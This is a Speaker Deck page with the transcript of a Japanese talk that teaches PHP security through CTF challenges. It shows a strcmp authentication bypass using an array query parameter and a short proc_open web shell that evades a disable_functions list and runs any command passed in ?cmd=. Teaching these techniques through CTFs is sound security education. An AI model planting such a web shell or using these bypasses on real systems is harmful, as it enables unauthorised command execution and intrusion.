Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
CTFで学ぶPHPセキュリティ
Search
Sponsored
·
SiteGround - Reliable hosting with speed, security, and support you can count on.
→
Ryoto Saito
March 31, 2019
Programming
4.4k
3
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
CTFで学ぶPHPセキュリティ
PHPerKaigi 2019
ルーキーズLT
Ryoto Saito
March 31, 2019
More Decks by Ryoto Saito
See All by Ryoto Saito
コンテナ上シェル悪用の話とPure Bashでcurlが作れた話
ryotosaito
2
710
シェル芸のせかい / the Shellgei World
ryotosaito
2
1.9k
Other Decks in Programming
See All in Programming
Apple Intelligence を用いた個人情報誤送信防止、及びユーザーリクエスト体験の改善について
yukiny
0
260
アクセシビリティから考える情報設計
high_g_engineer
0
430
Unity6 URPによる海底をテーマにしたVJシステムの解説 | Unity Shader 完全に理解した 勉強会
gam0022
0
150
市販E-Readerを乗っ取れ 〜Embedded Swiftで電子ペーパーガジェットを制御する〜
trickart
0
220
Vue Fes Japan 2026 タイムテーブル徹底解説
448jp
1
580
AI が書く Go コードの品質を劇的に向上させる Linter: “declscope”
mpyw
0
450
Herb in Rails 8.2: Your ERB views, now HTML-aware @ Rails World 2026, Austin, Texas
marcoroth
0
130
マイコン向けの軽量Ruby「PicoRuby」で各種デバイスを制御するネイティブアプリの実現手法
bash0c7
0
460
AI時代のコードレビューは人に向けるな、仕組みに向けろ
texmeijin
5
3.1k
[Rails World 2026] Durable orchestration on Rails: from continuation to workflow
palkan
1
400
thread_parallel_with_free-threaded_Python_and_NumPy.pdf
riku_sakamoto
0
370
Verilogで学ぶCPU自作入門.pdf
uyuki234
7
3.9k
Featured
See All Featured
The Power of CSS Pseudo Elements
geoffreycrofte
82
6.6k
GraphQLの誤解/rethinking-graphql
sonatard
75
12k
Are puppies a ranking factor?
jonoalderson
2
4k
Leveraging LLMs for student feedback in introductory data science courses - posit::conf(2025)
minecr
1
410
The MySQL Ecosystem @ GitHub 2015
samlambert
251
13k
Future Trends and Review - Lecture 12 - Web Technologies (1019888BNR)
signer
PRO
0
3.8k
Google's AI Overviews - The New Search
badams
0
1.6k
What the history of the web can teach us about the future of AI
inesmontani
PRO
1
720
Design and Strategy: How to Deal with People Who Don’t "Get" Design
morganepeng
133
20k
HU Berlin: Industrial-Strength Natural Language Processing with spaCy and Prodigy
inesmontani
PRO
0
730
Tips & Tricks on How to Get Your First Job In Tech
honzajavorek
1
780
Pawsitive SEO: Lessons from My Dog (and Many Mistakes) on Thriving as a Consultant in the Age of AI
davidcarrasco
0
250
Transcript
CTFで学ぶ PHPセキュリティ 2019/3/31 PHPerKaigi ルーキーズLT Ryoto (@systemctl_ryoto) 1
CTF - Capture the Flag 2
CTF Capture the Flag • FPSのゲームルール の1種 • 敵陣のフラッグを自陣 に持ち帰る
• 由来は物理的な遊び • 転じて… 3
CTF Capture the Flag • 情報セキュリティ的に脆弱な 「何か」が用意される • その脆弱性を突いてFlagを取得 する競技
※ Flag = 仮想的な機密文字列 flag{PHP_is_s3cur3!} ↑過去に本当に見たことあるやつ • 問題ベースで楽しくセキュリティ が勉強できる! • 徳丸さんの挑戦状もCTF 4
PHPer チャレンジ は シェルを 奪えます ls -al /もmysqldumpも実行できる 5
CTFの 主要な ジャンル 厳密な分類は大会やサイトによって 微妙に異なる 6 Pwn プログラムの脆弱性を突く Reverse リバースエンジニアリング
Forensic パケットやFile systemなど Crypto 暗号解読 Web クライアントからサーバまで
Webの CTF 情報セキュリティ的に脆弱な「何か」 • 「Webサイト」 • 「ソースコード」 どこが脆弱かはもちろん、どこにFlag があるのかがわからないことも たのしい謎解きの始まり
7
CTFのPHP問題例 - 実際の問題の一部分 - 8
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)
== 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 9
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)
== 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 10
言語仕様に関する問題 11
言語仕様に関する問題 12
言語仕様に関する問題 13 if (strcmp($_GET['password'], PASSWORD) == 0) strcmpは配列や関数などを受け取るとnull+Warningを返す) <?php var_dump($_GET);
http://localhost/dump.php?password[]=admin にアクセス↓ array(1) { ["password"] => array(1) { [0] => string(5) "admin" } }
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==
0) { echo FLAG; } 目標:なんとか突破したい! 先ほどのヒントを踏まえると… 言語仕様に関する問題 14
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==
0) { echo FLAG; } 目標:なんとか突破したい! Ans: http://target.host/?password[]= 言語仕様に関する問題 15
前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 <?php phpinfo(); disable_functions pcntl_exec, exec, popen, passthru, shell_exec, system
目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行 16
(注:shell_execと等価なので`cmd`はダメ) 任意コード実行 17
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 任意コード実行 18
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行
19
Ans. 以下のPHPファイルをアップロード <?php $cmd = $_GET['cmd'] $process = proc_open($cmd, [1=>["pipe",
"w"]], $pipes); echo stream_get_contents($pipes[1]); これを1回アップロードすれば?cmd=...でやりたい放題 任意コード実行 20
CTFに興味が湧いてきた人は! 21
やってみよう! 22 常設CTF(Web・PHP問題が入門から充実している) • https://www.root-me.org/en/Challenges/Web-Server/ • http://websec.fr/ ※ 垢登録するときは捨てパスワードを使いましょう 慣れたらコンテストに参加!
• https://ctftime.org
困ったときは 23 CTFでは解答例のことを Write-up と呼びます。 考えてもわからなかったら答えを探すのもあり! ("Write-up"で検索して問題を探す荒技もあり)
Thank you! @systemctl_ryoto 24